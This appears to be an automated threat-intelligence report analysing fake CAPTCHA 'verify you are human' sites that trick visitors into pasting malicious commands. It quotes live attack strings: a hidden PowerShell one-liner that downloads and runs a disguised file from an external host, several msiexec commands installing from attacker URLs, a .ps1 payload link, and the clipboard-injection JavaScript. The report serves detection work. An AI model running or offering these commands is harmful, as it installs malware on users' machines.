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Critical ClickGrab Campaign: Advanced Analysis of 2025-12-09 Attack Patterns

📅 Published: December 09, 2025 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
71%Detection
2PS Downloads

ClickGrab Threat Analysis Report - 2025-12-09

Generated on 2025-12-09 02:35:02

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 71
  • Unique domains encountered: 50
  • Total URLs extracted: 986
  • PowerShell download attempts: 2
  • Clipboard manipulation instances: 421

Domain Analysis

Most Frequently Encountered Domains

  • weiler.signo.dev.br: 218 occurrences
  • www.google.com: 133 occurrences
  • i.postimg.cc: 132 occurrences
  • icons.duckduckgo.com: 128 occurrences
  • ${host}: 128 occurrences
  • configservermu.net: 69 occurrences
  • shift-art.com: 23 occurrences
  • stratospb.com: 19 occurrences
  • penguinpublishers.org: 14 occurrences
  • www.webgo.de: 10 occurrences
  • ghost.nestdns.com: 9 occurrences
  • godprox.cc: 8 occurrences
  • svetvip.ru: 8 occurrences
  • pizzabyte.com.au: 7 occurrences
  • api.whatsapp.com: 6 occurrences

URL Pattern Analysis

reCAPTCHA imagery

15 occurrences across 4 distinct URLs

  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (7 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (5 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/recaptcha/api.js (1 times)

Font resources

5 occurrences across 4 distinct URLs

  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (2 times)
  • https://weiler.signo.dev.br/wp-content/plugins/gutentor/assets/library/fontawesome/css/all.min.css?ver=5.12.0 (1 times)
  • https://weiler.signo.dev.br/wp-content/themes/lawyer-zone/assets/library/Font-Awesome/css/font-awesome.min.css?ver=4.5.0 (1 times)
  • https://www.stratospb.com/font-awesome-4.7.0/css/font-awesome.min.css (1 times)

CDN hosted scripts

1 occurrences across 1 distinct URLs

  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources

138 occurrences across 6 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (128 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (5 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/intl/en/policies/privacy/ (1 times)
  • https://www.google.com/intl/en/policies/terms/ (1 times)
  • ...and 1 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 1,348 (60 unique)

Keyword Categories

Social Engineering

28 unique keywords

  • verification id
  • VerificationAndReioad
  • Verification
  • Verification ID
  • Robot
  • verification-id
  • exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";
  • Verify You Are Human
  • exec /i https://summerandsiiver.co.uk/content/piugins/verification/cioudfiare_chaiienge/not_a_robot/ID6362572;`
  • exec /i https://bfacoiiege.co.in/projects/verify/cioudfiare/humanchaiienge/verification/ID728722";
  • ...and 18 more

Obfuscation Indicators

3 unique keywords

  • command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\Downioads\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/meowingcybercat.mp3', $n);& $n;Remove-Item $n -Force;";
  • command = obfuscatedCommandParts.map(partArray =>
  • cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\\\Downioads\\\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/meowingcybercat.mp3', $n);& $n;Remove-Item $n -Force;";`

System Commands

19 unique keywords

  • Invoke-WebRequest
  • exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)
  • const command =
  • command = "";
  • exec /i https://suzume-design.com/cioudfiare";
  • Invoke
  • command = "msiexec /i https://suzume-design.com/cioudfiare /qn";
  • exec(
  • cmd
  • command = "msiexec /i https://suzume-design.com/cioudfiare";
  • ...and 9 more

Verification Text

3 unique keywords

  • hidden
  • ray id
  • Hidden

Technical Terms

7 unique keywords

  • .bat
  • .exe
  • Bypass
  • mshta
  • iex
  • failed_to_retrieve
  • Ray ID

Most Frequent Keywords

  • robot: 75 occurrences
  • hidden: 75 occurrences
  • Robot: 71 occurrences
  • verification: 71 occurrences
  • CAPTCHA Verification: 70 occurrences
  • I am not a robot: 70 occurrences
  • Verification: 70 occurrences
  • verification-id: 70 occurrences
  • To better prove you are not a robot: 70 occurrences
  • Verification ID: 69 occurrences
  • Verify you are human: 69 occurrences
  • Ray ID: 68 occurrences
  • Checking if you are human: 68 occurrences
  • const command =: 65 occurrences
  • verification id: 63 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: CAPTCHA Verification, Verification, verification

Group 2: Verification Hash, verification-id, verification_id, Verification ID, verification id

Group 3: Robot, robot

Group 4: Hidden, hidden

Group 5: Verify You Are Human, Checking if you are human, Verify you are human

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • VerificationAndReioad
  • in/Themes/Cioudfiare/Verification/CioudfiareChaiie...
  • com/recaptcha/about/images/reCAPTCHA
  • 08e66e791fd0d253de778cf6019bccbc
  • 0aeea29ef75cce797013f1a4f9384bcd

Clipboard Manipulation Analysis

Detected clipboard manipulation in 421 instances.

Document.Execcommand Copy

Found in 211 snippets (50.1% of clipboard code)

Examples:

try { document.execCommand("copy")

try { document.execCommand('copy')

document.execCommand("copy")

Textarea Manipulation

Found in 211 snippets (50.1% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ng is the safe placeholder above const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.